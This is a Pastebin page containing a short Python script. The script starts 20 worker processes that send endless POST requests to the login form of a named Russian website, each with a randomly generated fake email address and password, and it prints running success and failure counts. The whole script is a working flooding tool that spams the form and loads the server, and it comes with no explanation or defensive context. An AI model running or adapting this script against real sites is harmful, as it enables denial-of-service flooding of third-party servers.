Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3.4
- # -*- coding: utf-8 -*-
- import urllib.parse, urllib.request
- from random import choice
- from random import randint as i
- from time import sleep as wait_flood
- from functools import partial
- from multiprocessing import Pool
- processes = 20
- def r(N, pwd = 1):
- stack = ""
- for n in range(N): stack += choice("abcdefghijklmnopqrstuvwxyz")
- if pwd: stack += choice(["@mail.ru", "@bk.ru", "@list.ru", "@inbox.ru"])
- return stack
- def foo(host, port):
- t, f, = 0, 0
- while True:
- try: urllib.request.urlopen("http://war-donate.ru/index.php", urllib.parse.urlencode({'login': r(i(1,15)), 'password': r(i(8,30), 0)}).encode('ascii')).read(); t += 1
- except:wait_flood(1); f += 1
- print("[*]\t%s\t%s\t%s" % (t, f, t - f))
- def go(gg): return filter(bool, Pool(processes).map(partial(foo, gg), range(1, processes + 1)))
- def main(): list(go("GG"))
- if __name__ == "__main__": main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement